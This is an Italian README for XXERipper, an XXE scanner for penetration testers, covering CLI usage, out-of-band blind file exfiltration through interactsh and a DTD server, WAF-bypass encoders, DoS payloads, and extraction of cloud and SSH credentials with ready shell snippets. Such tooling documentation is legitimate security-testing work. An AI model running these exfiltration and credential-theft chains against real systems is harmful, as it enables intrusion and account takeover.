
Scanner XXE black-box che rileva iniezioni in-band, error-based e blind out-of-band tramite baselining statistico, fingerprinting del parser e conferma OOB, con output SARIF.
Uno scanner XXE (XML External Entity) standalone e black-box per professionisti della sicurezza.
XXERipper rileva XXE in-band, error-based e blind out-of-band attraverso oltre 30 famiglie di tecniche di attacco. Combina baselining statistico, fingerprinting differenziale dei parser, conferma out-of-band tramite interactsh-client (manuale o automatica), una console basata su browser, encoding per bypass WAF, rilevamento end-to-end delle catene di exploit, estrazione di credenziali con snippet shell pronti da incollare, findings mappati su CWE e output JSON / SARIF / HTML per CI/CD e reporting.
XXERipper è uno scanner CLI e console browser autonomo per l'iniezione XML External Entity, progettato per penetration tester, bug-bounty hunter e ricercatori di sicurezza che necessitano di un rilevamento accurato e a basso tasso di falsi positivi di una classe di vulnerabilità facile da testare male e difficile da testare bene.
È deliberatamente minimale — httpx e (per la console) flask, nient'altro — e verificabile end-to-end. Ogni fase può essere tracciata, ogni finding porta con sé una traccia di evidenze, ogni tecnica saltata viene riportata con una motivazione, e ogni file o credenziale estratta viene deduplicata e memorizzata con snippet di sfruttamento pronti da incollare.
XXERipper non sfrutta il target oltre la primitiva stessa di risoluzione delle entità. Determina se un parser risolve entità esterne, se il risultato può essere osservato in-band, tramite errori del parser o out of band, e riporta tale determinazione con un punteggio di confidenza, una mappatura CWE e — quando una catena completa si conclude — un finding riepilogativo che nomina l'impatto end-to-end.
ChainTracker osserva ogni finding, deriva le fasi della catena da ID + evidenze e attiva un finding riepilogativo quando un template si completa — XXE → IMDS → credenziali IAM → takeover dell'account AWS, XXE → chiave privata SSH → movimento laterale, XXE → secret Kubernetes → furto di credenziali del cluster, e altri dieci.aws sts get-caller-identity, aliyun sts GetCallerIdentity, ssh -i …, gcloud auth activate-service-account, kubectl --token=… e curl -H 'Authorization: Bearer …' — costruiti con i claim reali del token ove applicabile.interactsh-client. Due modalità: manuale (lo scanner stampa ogni sottodominio, tu osservi il client) e auto (--oob-auto avvia interactsh-client e correla i callback in-process). Entrambe incorporano un token univoco di 16 caratteri esadecimali per payload, così i callback non possono mai essere attribuiti erroneamente.--oob-listen), una directory servita dal tuo web server (--oob-dtd-dir) o le rotte Flask della WebUI stessa (seleziona Serve DTDs from this WebUI nel drawer).jar://, data://, phar://, glob://, compress.zlib://.XXE-OFFICE-XSLT-{DOCX,XLSX}) — una PI xml-stylesheet all'interno di una parte Word o Excel induce i processori di documenti lato server a recuperare un XSLT controllato dall'attaccante.jackson-dataformat-xml nel classpath, che accetta silenziosamente application/xml su qualsiasi endpoint @RequestBody.--bypass-waf) — reinvia l'intero catalogo di payload attraverso quindici encoder di tre famiglie. Viene eseguita dopo le fasi principali, così un colpo diretto viene trovato in ~20 richieste invece di essere sepolto dietro ~1.500 richieste codificate.--serve) — workbench basato su browser con streaming di eventi in tempo reale, command palette, navigazione da tastiera, download JSON / SARIF / HTML per singolo job e un pulsante separato View HTML che apre il report inline invece di scaricarlo. Frontend a zero dipendenze: un unico file HTML autocontenuto, nessuna CDN.--pre-auth-request FILE riproduce richieste in formato Burp e unisce i loro Set-Cookie prima dell'inizio della scansione, così i flussi di autenticazione multi-step funzionano senza un file di cookie.pip install xxeripper pip install "xxeripper[socks]" # plus SOCKS proxy support
L'installazione base include `httpx[http2]` (con negoziazione HTTP/2
abilitata tramite ALPN) e `Flask` (utilizzato dalla console web `--serve`).
Il supporto proxy SOCKS è l'unica extra opzionale. HTTP/2 è una funzionalità
richiesta, non opzionale — risiede nell'elenco delle dipendenze principali come
`httpx[http2]`. L'extra `xxeripper[http2]` è fornito puramente per
abitudine dell'utente; installarlo equivale a installare il pacchetto base.
### Pacchetti di distribuzione```bash
sudo pacman -U xxeripper-1.0.0-1-any.pkg.tar.zst # Arch
sudo dpkg -i xxeripper_1.0.0-1_all.deb # Debian / Ubuntu
sudo dnf install xxeripper-1.0.0-1.fc44.noarch.rpm # Fedora / RHEL
git clone https://github.com/kamalx06/XXERipper.git cd XXERipper && pip install -e ".[socks]"
### Requisiti
- **Python dalla 3.9 alla 3.14.**
- **`httpx[http2]` ≥ 0.27, < 0.29** — il client HTTP. Il supporto HTTP/2
viene incluso tramite l'extra `[http2]` di `httpx`, che porta con sé
la dipendenza `h2`. Lo scanner negozia HTTP/2 tramite ALPN durante
l'handshake TLS e ripiega silenziosamente su HTTP/1.1 dove il
server non lo supporta.
- **`Flask` ≥ 3.0, < 4.0** — utilizzato dalla console web `--serve`. È
una dipendenza principale, non opzionale; la console è un'interfaccia
di prima classe, e `xxeripper --serve` è documentato in
[Quick Start](#quick-start) e [Web Console](#web-console).
- **Opzionale:** `PySocks` ≥ 1.7.1 per proxy SOCKS
(`xxeripper[socks]`).
- **Opzionale:** `interactsh-client` nel `PATH` per la conferma OOB
automatica (`--oob-auto`). La modalità OOB manuale (`--oob-domain`) non ha
dipendenze esterne — esegui `interactsh-client` tu stesso in un
terminale separato.
Il wheel contiene un singolo file, `xxeripper.py`. Non c'è una directory
di pacchetto, nessuna estensione compilata e nessuna fase di build al momento
dell'installazione. Il punto di ingresso CLI è dichiarato come `xxeripper = "xxeripper:main"`, quindi
`pip install xxeripper` mette un eseguibile `xxeripper` nel tuo `PATH`.
### Extra opzionali
| Extra | Include | Quando installarlo |
|---|---|---|
| `xxeripper[socks]` | `PySocks` ≥ 1.7.1 | Scansioni attraverso un proxy SOCKS5, incluso Tor via `socks5h://` |
| `xxeripper[http2]` | *(nulla di nuovo)* | Mai strettamente necessario — l'installazione base include già `httpx[http2]`. Fornito per abitudine dell'utente |
Non esiste un extra `[webui]` — Flask è una dipendenza principale, e la
console funziona immediatamente su qualsiasi installazione base.
---
## Quick Start```bash
# 1. Basic scan (in-band and error-based, no OOB)
xxeripper https://target.com/api/xml
# 2. Terminal A: start interactsh-client and note the session domain
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
# 3. Terminal B: scan with OOB payloads under that domain
xxeripper https://target.com/api/xml \
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
# 4. Match the [OOB] lines from the scanner against callbacks in Terminal A
# 5. Or skip the two-terminal dance: let the scanner spawn and drive
# interactsh-client itself
xxeripper https://target.com/api/xml --oob-auto
# 6. Blind file exfiltration with the built-in DTD server
xxeripper https://target.com/api/xml \
--oob-auto --oob-listen 0.0.0.0:8888 \
--oob-public-url http://your-public-ip:8888
# 7. Launch the browser-based console instead of a CLI scan
xxeripper --serve
# [*] XXE-Ripper web console
# [*] URL: http://127.0.0.1:8080
# 8. Write a self-contained HTML report
xxeripper https://target.com/api/xml --report-html report.html
# 9. CI usage: write SARIF and fail the build on HIGH+ findings
xxeripper https://target.com/api/xml \
-o results.sarif --format sarif --fail-on high
Lo scanner gestisce la cattura della baseline, il fingerprinting del parser, la generazione del payload, l'esecuzione, lo scoring, il rollup della catena, l'estrazione delle credenziali e il reporting. La conferma blind è disponibile sia come workflow a due terminali (modalità manuale, quella predefinita) sia come workflow completamente automatizzato guidato da sottoprocessi (--oob-auto).
xxeripper https://target.com/api/xml --cookie "SESSION=...; csrf=abc" xxeripper https://target.com/api/xml --cookie-file cookies.txt
xxeripper https://target.com/api/xml
--pre-auth-request login.burp --pre-auth-request csrf.burp
xxeripper -r request.txt --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
xxeripper -r request.txt --oob-auto
xxeripper https://target.com/api/xml
--oob-auto
--oob-listen 0.0.0.0:8888
--oob-public-url http://198.51.100.7:8888
xxeripper https://target.com/api/xml
--oob-auto
--oob-dtd-dir /var/www/dtds
--oob-dtd-url-prefix http://198.51.100.7:8000/dtds
xxeripper https://target.com/api/xml
--payload ']>&e;'
--payload-file ./my_payloads.xml --payload-dir ./custom_xxe/
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
xxeripper -u targets.txt -o results.json
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro --rate 5 --threads 10
xxeripper https://target.com/api/xml --full-file-scan
xxeripper https://target.com/ingest --svg
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
xxeripper https://target.com/auth/assert --saml --oob-auto
xxeripper https://target.com/api/xml --bypass-waf all --oob-auto
xxeripper https://target.com/api/xml
--bypass-waf utf16be,utf32le,ucs4_2143,b64_uri --oob-auto
xxeripper --serve --port 8080
xxeripper https://target.com/api/xml
-o results --format both --report-html results.html
xxeripper -r request.txt --cookie "extra=token" --payload-dir ./payloads/
--oob-auto --timing --unsafe --svg --saml --full-file-scan
--bypass-waf utf16be,ebcdic,ucs4_2143
--oob-dtd-dir /var/www/dtds --oob-dtd-url-prefix http://198.51.100.7:8000/dtds
--threads 20 --rate 8 --timeout-read 20 --budget 1800
--proxy socks5://127.0.0.1:9050 --debug
-o results --format both --report-html report.html
---
## Riferimento alla riga di comando
### Target e output
| Opzione | Descrizione |
|---|---|
| `url` (posizionale) | Singolo URL da scansionare |
| `-u, --urls FILE` | File con URL, uno per riga |
| `-r, --request FILE` | Richiesta HTTP raw in formato Burp |
| `-o, --output FILE` | File di output dei risultati |
| `--format {json,sarif,both}` | Formato di output. Predefinito: `json` |
| `--report-html PATH` | Scrive un report HTML autonomo al termine della scansione |
| `--fail-on {critical,high,medium,low,never}` | Esce con codice `2` quando è presente un finding di severità pari o superiore a questa. Predefinito: `never` |
| `--debug` | Output diagnostico dettagliato |
### Out-of-band
| Opzione | Descrizione |
|---|---|
| `--oob-domain SESSION_DOMAIN` | **Modalità manuale.** Dominio di sessione di interactsh-client. Lo scanner costruisce i payload sotto questo dominio e stampa ogni sottodominio nel riepilogo del target. Non esegue polling — osserva il tuo terminale `interactsh-client`. Mutuamente esclusivo con `--oob-auto` |
| `--oob-auto` | **Modalità automatica.** Avvia `interactsh-client` come sottoprocesso, estrae il dominio di sessione dal suo output JSON e correla i callback in-process. Richiede `interactsh-client` nel `PATH`. Mutuamente esclusivo con `--oob-domain` |
| `--oob-timeout SECONDS` | Budget di attesa OOB per singolo polling. Significativo solo con `--oob-auto`; combinarlo con `--oob-domain` è un errore di argomento, poiché la modalità manuale non attende mai. Predefinito: `8.0` |
### Esfiltrazione cieca
| Opzione | Descrizione |
|---|---|
| `--oob-listen HOST:PORT` | Associa un server HTTP integrato che serve payload DTD. Richiede `--oob-public-url`. Usa `0.0.0.0:PORT` per associare tutte le interfacce |
| `--oob-public-url URL` | Prefisso URL pubblico per il server DTD integrato (es. `http://198.51.100.7:8888`). Richiesto con `--oob-listen` |
| `--oob-dtd-dir PATH` | Alternativa a `--oob-listen`: una directory in cui lo scanner scrive i file DTD. Servila dal tuo web server. Richiede `--oob-dtd-url-prefix` |
| `--oob-dtd-url-prefix URL` | Prefisso URL pubblico che mappa su `--oob-dtd-dir` (es. `http://198.51.100.7:8000/dtds`) |
Le due modalità sono mutuamente esclusive in pratica: usa `--oob-listen` quando il target può raggiungere l'indirizzo dello scanner, e `--oob-dtd-dir` quando controlli un web server esposto pubblicamente. La modalità OOB manuale (`--oob-domain`) non supporta l'esfiltrazione — lo scanner non legge mai l'output di interactsh in modalità manuale, quindi il contenuto esfiltrato deve essere letto dal terminale dell'operatore.
### Console web
| Opzione | Descrizione |
|---|---|
| `--serve` | Avvia la console basata su browser invece di eseguire una scansione CLI |
| `--host ADDRESS` | Indirizzo di bind per la console. Predefinito: `127.0.0.1`. Il banner di avvio avverte contro bind non-loopback |
| `--port PORT` | Porta di bind per la console. Predefinito: `8080` |
### Fingerprint e targeting dei file
| Opzione | Descrizione |
|---|---|
| `--no-fingerprint` | Salta la fase di fingerprint del parser. Il capability gating è disabilitato; tutte le fasi vengono eseguite incondizionatamente |
| `--no-fingerprint-cache` | Disabilita la cache del fingerprint su disco; forza una nuova probe |
| `--full-file-scan` | Itera la lista completa dei file target Linux + Windows (~58 percorsi) invece del sottoinsieme prioritario (~21 percorsi) |
### Cookie e payload
| Opzione | Descrizione |
|---|---|
| `--cookie STRING` / `--cookie-file FILE` | Cookie inline o jar Netscape / file `key=value` |
| `--no-cookie-merge` | Salta il merging dei `Set-Cookie` |
| `--pre-auth-request FILE` | Riproduce una richiesta in formato Burp una volta prima della scansione. Gli header `Set-Cookie` dalla risposta vengono uniti nel jar dello scanner. Ripeti per autenticazione multi-step |
| `--payload XML` / `--payload-file FILE` / `--payload-dir DIR` | Payload personalizzati (inline, file, directory) |
### Modalità di attacco
| Opzione | Descrizione |
|---|---|
| `--timing` | Abilita il rilevamento cieco basato sul timing |
| `--unsafe` | Abilita i payload DoS (Billion Laughs) |
| `--svg` | Forza le fasi di upload SVG e multipart/DOCX/Office-XSLT |
| `--saml` | Forza la fase pre-signature SAML su endpoint il cui URL non sembra in formato SAML |
### Bypass WAF
| Opzione | Descrizione |
|---|---|
| `--bypass-waf [ENCODERS]` | Reinvia l'intero catalogo di payload attraverso gli encoder selezionati *dopo* le fasi principali. Passa `all` (o nessun valore) per tutti gli encoder, o un sottoinsieme separato da virgole. Nomi validi: `utf16be`, `utf16le`, `utf16decl`, `utf16nobom`, `utf32be`, `utf32le`, `ebcdic`, `ucs4_2143`, `utf8bom`, `public`, `public_charref`, `b64_uri`, `whitespace_pad`, `doctype_closure`, `pe_stager` |
| `--bypass-waf-include-custom` | Estende lo sweep ai payload forniti dall'utente. Significativo solo con `--bypass-waf`. I custom che fanno riferimento a `{CALLBACK}` o `{DOMAIN}` vengono saltati |
### Rete e stabilità
| Opzione | Descrizione |
|---|---|
| `--proxy URL` | `http://`, `https://`, `socks5://`, o `socks5h://` |
| `--threads N` | Target concorrenti. Predefinito: 20 |
| `--rate R` | Numero massimo di richieste al secondo per target. Predefinito: illimitato |
| `--timeout-connect SECONDS` / `--timeout-read SECONDS` | Predefinito: 5.0 / 15.0 |
| `--budget SECONDS` | Limite di tempo reale della scansione. Predefinito: 3600 |
| `--verify-tls` | Riabilita la verifica del certificato |
### Placeholder dei payload personalizzati
`{FILE}`, `{CALLBACK}`, `{DOMAIN}`, `{URL}`, `{HOST}` — sostituiti al momento dell'invio con il file target corrente, il sottodominio di callback univoco, il dominio di sessione, l'URL del target e l'hostname del target.
---
## Console Web
La console è un workbench basato su browser per eseguire e ispezionare le scansioni, servito dallo stesso binario tramite `--serve`.```bash
xxeripper --serve
# [*] XXE-Ripper web console
# [*] URL: http://127.0.0.1:8080
# [*] 127.0.0.1 by default. Do NOT expose to untrusted networks.
# [*] OOB auto mode available via the WebUI
# (interactsh-client will be spawned on first use).
La console si associa al loopback per impostazione predefinita e non ha autenticazione. Il ri-binding tramite --host stampa un avviso esplicito; anteponi un reverse proxy autenticato se hai bisogno di accesso remoto.
Un workbench a tre pannelli:
exfiltrated sotto ogni callback che ha trasportato contenuto di file recuperato.Premi ⌘K / Ctrl+K per la ricerca fuzzy tra comandi, target e finding. I finding mostrano la loro severità come pill colorata nella palette.
| Tasto | Azione |
|---|---|
j / k | Target successivo / precedente |
n / p | Finding successivo / precedente |
/ | Metti a fuoco il filtro |
c | Apri il drawer di nuova scansione |
r | Riesegui la scansione selezionata |
? | Finestra delle scorciatoie |
Esc | Chiusura progressiva (filtro → finding → target) |
Accesso completo a ogni flag della CLI dal browser: URL o richiesta Burp, modalità OOB (dominio manuale o auto), la sezione Blind exfiltration con due opzioni mutuamente esclusive (server DTD ospitato dalla WebUI più campo URL pubblico, oppure directory DTD più prefisso URL per il serving esterno), proxy, cookie, rate, budget, timeout, thread, payload personalizzati, file di payload, richieste pre-auth e la griglia di checkbox per le opzioni di scansione. La sezione WAF bypass espone tutti e quindici gli encoder come checkbox individuali più un pulsante "Toggle all"; sia la griglia degli encoder sia la checkbox include-custom si resettano su off ogni volta che il drawer si chiude, così il bypass non viene mai mantenuto silenziosamente tra una scansione e l'altra.
Selezionando Auto OOB mode nel drawer viene generato un interactsh-client per tutta la durata del processo server. Viene generato in modo lazy al primo job auto-OOB e riutilizzato in seguito. Job concorrenti multipli condividono il dominio di sessione ma mantengono set di token indipendenti, così i callback restano attribuiti correttamente per target. I callback in arrivo vengono stampati sul terminale del server man mano che arrivano.
Oltre alle opzioni di hosting DTD lato CLI, la WebUI può servire DTD dalle proprie route Flask. Seleziona Serve DTDs from this WebUI nel drawer, fornisci l'URL pubblico dove la WebUI è raggiungibile, e lo scanner registrerà i DTD su /dtd/<token>.dtd sullo stesso processo Flask che esegue la console. Nessun secondo terminale, nessun python -m http.server, nessuna directory separata.
Questo funziona quando il target può raggiungere l'indirizzo a cui è associata la WebUI. Associa la console a 0.0.0.0 con un prefisso URL pubblico e la WebUI diventa un server di esfiltrazione completamente autonomo. Quando il target è remoto e la WebUI non lo è, usa invece la modalità --oob-dtd-dir della CLI: lo scanner scrive i file DTD in una directory, tu servi quella directory da nginx o Apache, e la WebUI rilegge i risultati attraverso lo stesso processo di scansione.
Ogni job completato ha tre pulsanti di download nella toolbar:
--format json della CLI.--format sarif della CLI.Content-Disposition: attachment).Content-Disposition: inline).Stesso file, due comportamenti, due pulsanti.
Un job in esecuzione può essere cancellato dalla console. La cancellazione è cooperativa: il ScanContext del job riceve un segnale, e ogni fase lo controlla prima di ogni invio di payload. Un job in attesa di uno slot di concorrenza può essere cancellato prima ancora di iniziare.
XXERipper è un orchestratore single-file con un piccolo insieme di componenti componibili. Non c'è sistema di plugin, nessun DSL di configurazione, nessuno stato esterno oltre alla cache di fingerprint su disco.``` ┌─────────────────────────────────────────────────────────────┐ │ Entry points │ │ ─ CLI (argparse) ─ Web console (Flask + single HTML) │ └──────────────────────────┬──────────────────────────────────┘ │ ┌──────────▼──────────┐ │ ScanJob │ │ (web) │ │ scan_target (cli) │ └──────────┬──────────┘ │ ┌──────────────────┼──────────────────┐ │ │ │ ┌────▼────┐ ┌────▼────┐ ┌────▼────┐ │Session │ │Cookie │ │OOBClient│ │(httpx, │ │Manager │ │/ Inter- │ │ HTTP/2) │ │ │ │actshMgr │ └────┬────┘ └─────────┘ └────┬────┘ │ │ │ ┌──────▼───────┐ │ │DTDServer / │ │ │FileDTDWriter │ │ │WebUIDTDServer│ │ └──────────────┘ │ ┌────▼───────────────────────────────────────────────┐ │ XXEDetector │ │ │ │ 1. Baseline capture (StatisticalBaseline) │ │ 2. Parser fingerprint (ParserFingerprint, cache) │ │ 3. Phase execution (ordered, isolated, budgeted)│ │ │ │ ┌────────────┐ ┌────────────┐ ┌──────────────┐ │ │ │Accuracy │ │Chain │ │LootStore / │ │ │ │Engine │◄─┤Tracker │ │Credential │ │ │ │(score, veto│ │(stage │ │Extractor / │ │ │ │ classify) │ │ rollup) │ │FileExtractor │ │ │ └────────────┘ └────────────┘ └──────────────┘ │ └────────────────────────────────────────────────────┘ │ ┌──────────▼──────────┐ │ Reporters │ │ JSON · SARIF · HTML│ └─────────────────────┘
### Componenti
| Componente | Ruolo |
|---|---|
| `build_session` | Costruisce un `httpx.Client` con negoziazione HTTP/2, connection pooling, proxy opzionale e iniezione di header per richiesta |
| `CookieManager` | Unisce i cookie da stringhe inline, jar Netscape, file `key=value` e header Burp. Assorbe opzionalmente `Set-Cookie` da ogni risposta |
| `CustomPayloadLoader` | Carica, suddivide e normalizza i payload dell'utente da stringhe inline, file (separatore `---` o confini `<?xml`) e directory |
| `OOBClient` | Genera sottodomini correlati, traccia i token in sospeso, invia osservazioni, correla i callback rispetto a un `InteractshManager` attivo. Funziona in modo identico in modalità manuale e automatica |
| `InteractshManager` | Avvia e legge `interactsh-client -json -v`, estrae il dominio di sessione, espone una lista di callback thread-safe |
| `DTDServer` | Server HTTP integrato per payload DTD di esfiltrazione cieca. Vincolato da `--oob-listen`. Serve `<token>.dtd` su richiesta |
| `FileDTDWriter` | Scrive file DTD in una directory che l'operatore serve esternamente. Abbinato a `--oob-dtd-url-prefix` |
| `WebUIDTDServer` | Supporta la rotta DTD ospitata dalla WebUI. Registra i DTD in un dizionario a livello di processo e restituisce URL sotto `/dtd/<token>.dtd` |
| `OOBExfilExtractor` | Analizza gli oggetti callback di interactsh ed estrae i dati esfiltrati da path/query delle richieste HTTP e dalle etichette dei sottodomini DNS |
| `ParserFingerprint` | Invia sonde test/controllo appaiate, confronta il testo degli errori con 11 famiglie di firme, popola un dizionario `capabilities` |
| `StatisticalBaseline` | Cattura 7 campioni benigni; calcola lunghezza mediana, tempo trascorso, status, hash del body, entropia di Shannon mediana, entropia a finestre, IQR, p95 |
| `AccuracyEngine` | Valuta una risposta candidata rispetto alla baseline, applica veti e pesi, classifica la severità |
| `XXEPayloadGenerator` | Funzioni pure che restituiscono stringhe e byte di payload per ogni famiglia di tecniche |
| `XXEDetector` | L'orchestratore: costruisce gli header, esegue le fasi, chiama l'accuracy engine, registra i finding, guida i sottosistemi loot e chain |
| `ChainTracker` | Registra le fasi della catena derivate dagli ID dei finding e dalle evidenze; emette finding di rollup quando i template si completano |
| `LootStore` | Repository thread-safe e deduplicato di file e segreti estratti. Non persiste nulla su disco per impostazione predefinita |
| `CredentialExtractor` | Estrazione basata su regex di AWS IAM JSON e INI, Alibaba RAM, chiavi private SSH, service account GCP, token di accesso OAuth, token di service account Kubernetes e bearer generici, ciascuno con snippet shell pronti da incollare |
| `FileContentExtractor` | Estrazione specifica per tipo di contenuto grezzo dei file dai body delle risposte (`/etc/passwd`, `/etc/shadow`, chiavi SSH, `.env`, `web.config`, `win.ini`, `system.ini`, `boot.ini`, file `/proc`), con un fallback strutturale generico |
| `ScanContext` | Scadenza a orologio reale e cancellazione cooperativa; ogni fase lo verifica prima di ogni invio |
| `RateLimiter` | Impone un intervallo minimo tra le richieste per target; indipendente da `--threads` |
### Flusso di scansione
1. **Pre-flight.** Viene costruito il cookie jar. Le richieste pre-auth (se presenti) vengono riprodotte e i loro header `Set-Cookie` uniti. I payload personalizzati vengono caricati. Viene impostata la scadenza del `ScanContext`.
2. **Cattura della baseline.** Vengono inviate sette richieste `POST` benigne. Vengono calcolati lunghezza mediana, tempo trascorso, codice di stato, hash del body, entropia, IQR e p95.
3. **Fingerprint.** Vengono eseguite nove sonde di capability contro il target. Il testo degli errori delle sonde viene confrontato con le firme dei parser. Il risultato viene memorizzato nella cache su disco (a meno di `--no-fingerprint-cache`).
4. **Fasi principali.** Lettura file in-band, commutazione JSON-to-XML, matrice content-type, variazione di metodo, iniezione di parametri di query, SSRF, metadata cloud, wrapper RCE, error-based.
5. **Fasi dipendenti da OOB.** Solo DNS, DTD esterno, OOB con parameter-entity, bypass CDATA, varianti XInclude, fetcher XSLT/XSD, PI `xml-stylesheet`, multipart, DOCX, form-encoded.
6. **Bypass e sink alternativi.** Bypass di encoding, XInclude, upload SVG, envelope SAML/SOAP, SAML pre-signature.
7. **Fasi opt-in.** Blind basato su timing (`--timing`), DoS (`--unsafe`).
8. **Fasi documenti Office e YAML.** PI `xml-stylesheet` nelle parti DOCX/XLSX, e sonde di deserializzazione PyYAML / SnakeYAML.
9. **Payload personalizzati.** Ogni payload dell'utente viene testato contro ogni target file.
10. **Bypass WAF (opzionale).** Se `--bypass-waf` è impostato, l'intero catalogo di payload viene reinviato attraverso ogni encoder selezionato. Viene eseguito *dopo* le fasi principali, così un hit diretto viene trovato prima della scansione codificata.
11. **Rollup della catena.** `ChainTracker.emit_rollup_findings()` percorre i template completati ed emette un finding di rollup per ogni completamento.
12. **Reporting.** I risultati vengono serializzati in JSON, SARIF e/o HTML autonomo.
Ogni fase viene eseguita all'interno di `_run_phase`, che cattura qualsiasi eccezione, registra il traceback sotto `--debug` e continua con la fase successiva. Un finding emesso prima di un crash non può andare perso.
---
## Metodologia di Fingerprinting
La fase di fingerprint risponde a due domande: **quale stack XML è in esecuzione** e **quali capacità di risoluzione delle entità espone**. Entrambe guidano la selezione delle fasi — un target che rifiuta completamente il DOCTYPE non ha bisogno che venga eseguita la scansione local-DTD contro di esso.
### Sonde di capability
Nove sonde appaiate, ciascuna con un payload di test e un payload di controllo:
| Capability | Test | Condizione di successo (il test passa, il controllo no) |
|---|---|---|
| `dtd_allowed` | DOCTYPE benigno con una dichiarazione di elemento | `200`, stringa marker presente |
| `dtd_entity_syntax_accepted` | DOCTYPE con una dichiarazione di entità (non usata) | `200`, marker presente |
| `dtd_parsed_but_not_resolved` | DOCTYPE con entità dichiarata e referenziata | `200`, `&x;` grezzo visibile (il parser l'ha mantenuta non espansa) |
| `internal_entity` | Entità interna espansa | `200`, marker presente, `&x;` assente |
| `external_file` | `SYSTEM "file:///etc/hostname"` | `200`, l'output sembra un hostname, nessun markup, nessuna entità grezza |
| `parameter_entity` | Stager con parameter-entity interna | `200`, `PE_MARKER` presente, `&inner;` assente |
| `external_dtd` | `SYSTEM "http://127.0.0.1:1/nonexistent.dtd"` | `5xx`, oppure `Connection refused` / `Failed to load` / `IO error` presente |
Il controllo è la stessa richiesta con un body benigno. Una capability viene marcata `True` solo se il predicato di successo del test passa **e** quello del controllo no. Questo è ciò che rende il fingerprint differenziale anziché basato su pattern — un target che restituisce sempre `200 OK` non può segnalare falsamente "DTD allowed".
### Corrispondenza delle firme
I body delle risposte delle sonde (e qualsiasi body di risposta `5xx`) si accumulano in un buffer di testo di errore. Quel buffer viene confrontato con undici famiglie di firme:
| Famiglia | Stringhe rappresentative |
|---|---|
| `libxml2` | `lxml.etree.XMLSyntaxError`, `xmlParseEntityRef`, `Failed to load external entity`, `Premature end of data in tag` |
| `xerces` | `org.apache.xerces`, `com.sun.org.apache.xerces`, `SAXParseException`, `was referenced, but not declared`, `cvc-elt.` |
| `dotnet` | `System.Xml.XmlException`, `System.Xml.XmlReader`, `An error occurred while parsing EntityName`, `DTD is prohibited` |
| `java_sax` | `org.xml.sax.SAXParseException`, `DocumentBuilder`, `JAXP00010001`, `AccessExternalDTD`, `disallow-doctype-decl` |
| `java_stax` | `javax.xml.stream.XMLStreamException`, `IS_SUPPORTING_EXTERNAL_ENTITIES`, `woodstox`, `com.ctc.wstx` |
| `python_etree` | `xml.etree.ElementTree.ParseError`, `xml.parsers.expat.ExpatError`, `undefined entity`, `not well-formed (invalid token)` |
| `php_libxml` | `Warning: DOMDocument::load`, `SimpleXMLElement::__construct():`, `DOMException:` |
| `ruby` | `REXML::ParseException`, `Nokogiri::XML::SyntaxError`, `The entity expansion has been blocked` |
| `node` | `ExpatError`, `xml2js`, `libxmljs`, `fast-xml-parser`, `Unexpected close tag` |
| `perl` | `XML::LibXML`, `XML::Parser`, `XML::Twig`, `Couldn't parse` |
| `go` | `encoding/xml`, `XML syntax error on line`, `xml: cannot unmarshal` |
Vince la famiglia con il maggior numero di corrispondenze. La famiglia `libxml2` è deliberatamente la più ampia — le classi di eccezione di lxml, i nomi delle funzioni C sottostanti e le diagnostiche leggibili di libxml2 contano tutte, così un target che usa lxml viene distinto con sicurezza da uno che usa l'`etree` della stdlib di Python (che è expat e corrisponde invece alla famiglia `python_etree`).
### Cache su disco
I risultati del fingerprint vengono memorizzati nella cache in `~/.cache/xxeripper/fingerprints.json`, con chiave l'URL del target. Una voce in cache memorizza il nome del parser vincente, il dizionario completo delle capability e un timestamp. Le scansioni ripetute dello stesso URL saltano completamente la fase di sonda.
La cache è stabile tra le esecuzioni a meno che lo stack XML del target non cambi. In CI, punta `HOME` a una directory di cache persistente per risparmiare le richieste di sonda a ogni esecuzione. Elimina il file o passa `--no-fingerprint-cache` per invalidare.
### Gating delle capability
Due fasi consumano il risultato del fingerprint:
- **Lettura file in-band** — saltata se il fingerprint ha avuto successo e non ha riportato alcuna capacità di risoluzione delle entità in tutto l'insieme di `internal_entity`, `external_file`, `external_dtd`, `parameter_entity`, `dtd_allowed`.
- **Scansione local-DTD error-based** — stesso gate. La sotto-tecnica dell'entità malformata viene eseguita comunque, perché ha successo su stack (Xerces, .NET) che non necessitano affatto di un DTD locale.
Il gate scatta solo se il fingerprint ha *avuto successo* (cioè almeno una capability è `True` ed esiste una famiglia di parser vincente). Un fingerprint che ha restituito tutto `False` — cosa che accade quando il target non analizza affatto XML — viene trattato come "sconosciuto" e le fasi vengono eseguite incondizionatamente. Questo evita la modalità di fallimento in cui un fingerprint mal configurato sopprime finding reali.
Passa `--no-fingerprint` per disabilitare completamente la fase e il gate.
---
## Metodologia di Rilevamento
La pipeline di rilevamento è deliberatamente a livelli. Ogni livello è un veto o un peso, e ciascuno ha una specifica modalità di fallimento che è progettato per prevenire.
### Livello 1 — Baseline statistica
Sette richieste `POST` benigne vengono inviate prima di qualsiasi payload di attacco. Da quei campioni:
- **Lunghezza mediana del body** — usata per lo scoring del delta di lunghezza.
- **Tempo trascorso mediano** e **IQR** — usati per lo scoring dell'anomalia di timing.
- **Codice di stato modale** — usato per lo scoring dello shift di stato.
- **Hash del body più comune** — usato per il veto di nessun cambiamento.
- **Entropia di Shannon mediana** sull'intero body — usata come controllo di sanità del limite inferiore.
- **Entropia a finestre mediana** su finestre di 256 byte — usata per il punteggio di anomalia dell'entropia.
- **Unione di tutti i body campione** — usata per il controllo degli errori del parser ancorato alla baseline.
Le statistiche della baseline sono l'ancora. Ogni successiva decisione di scoring confronta una risposta candidata con questa baseline, non con una soglia fissa.
### Livello 2 — Veti
I veti rifiutano il rumore evidente prima dello scoring. Due sono hard, uno è soft.
**Veto di riflessione (hard, −100).** Se il body della risposta contiene una sottostringa di 40 caratteri del payload (dopo URL-decoding e normalizzazione degli spazi), il payload è stato riecheggiato verbatim senza risoluzione delle entità. Questa è la singola fonte più comune di falsi positivi nei scanner ingenui — ogni endpoint "test the XML parser" che riecheggia il suo input apparirebbe altrimenti vulnerabile.
**Penalità di riflessione soft (−30).** Se viene rilevata la riflessione ma la risposta *porta anche* un segnale forte (un fingerprint di file, un callback OOB correlato, integrità della catena o un errore del parser ad alta confidenza), il veto hard viene declassato a una penalità di −30. Questo gestisce il caso in cui una vera lettura di file è incorporata in una pagina che riecheggia anche parte della richiesta.
